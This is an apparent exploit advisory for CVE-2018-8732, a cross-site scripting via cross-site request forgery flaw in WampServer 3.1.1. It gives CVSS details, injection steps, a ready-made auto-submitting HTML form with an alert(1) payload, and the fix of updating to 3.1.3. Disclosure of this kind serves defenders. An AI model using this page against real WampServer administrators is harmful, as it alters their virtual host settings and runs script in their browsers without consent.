WampServer 3.1.1 Cross-Site Scripting / Cross-Site Request Forgery

Risk: Low
Local: No
Remote: Yes
CWE: CWE-352

CVSS Base Score: 3.5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 6.8/10
Exploit range: Remote
Attack complexity: Medium
Authentication: Single time
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Exploit Title: WampServer 3.1.1 XSS via CSRF # Date: 31-03-2018 # Software Link: http://www.wampserver.com/en/ # Version: 3.1.1 # Tested On: Windows 10 # Exploit Author: Vipin Chaudhary # Contact: http://twitter.com/vipinxsec # Website: http://medium.com/@vipinxsec # CVE: CVE-2018-8732 1. Description XSS: cross site scripting via CSRF is remotely exploitable. http://forum.wampserver.com/read.php?2,138295,150615,page=6#msg-150615 http://forum.wampserver.com/read.php?2,150617 2. Proof of Concept How to exploit this XSS vulnerability: 1. Go to Add a Virtual host and add one to wampserver. 2. Go to Supress Virtual host and select one to delete and then intercept the request using burp suite or any other proxy tool 3. Change the value of parameter *virtual_del[] *to "><img src=x onerror=alert(1)> and forward it then you will see the XSS triggered. How to see it: 1. Copy and paste this CSRF request in notepad and save it as anything.html <html> <body onload="wamp_csrf.submit();"> <form action="[localhost]; name="wamp_csrf" method="POST"> <input type="hidden" name="virtual&#95;del&#91;&#93;" value=""><img&#32;src&#61;x&#32;onerror&#61;alert&#40;1&#41;>" /> <input type="hidden" name="vhostdelete" value="Suppress&#32;VirtualHost" /> </form> </body> </html> Warning: action="[localhost] is action=' http://localhost/add_vhost.php?lang=english' replacing simple quotes(') by double quote("[image: winking smiley] 3. Solution: Update to version 3.1.3 http://www.wampserver.com/en/#download-wrapper

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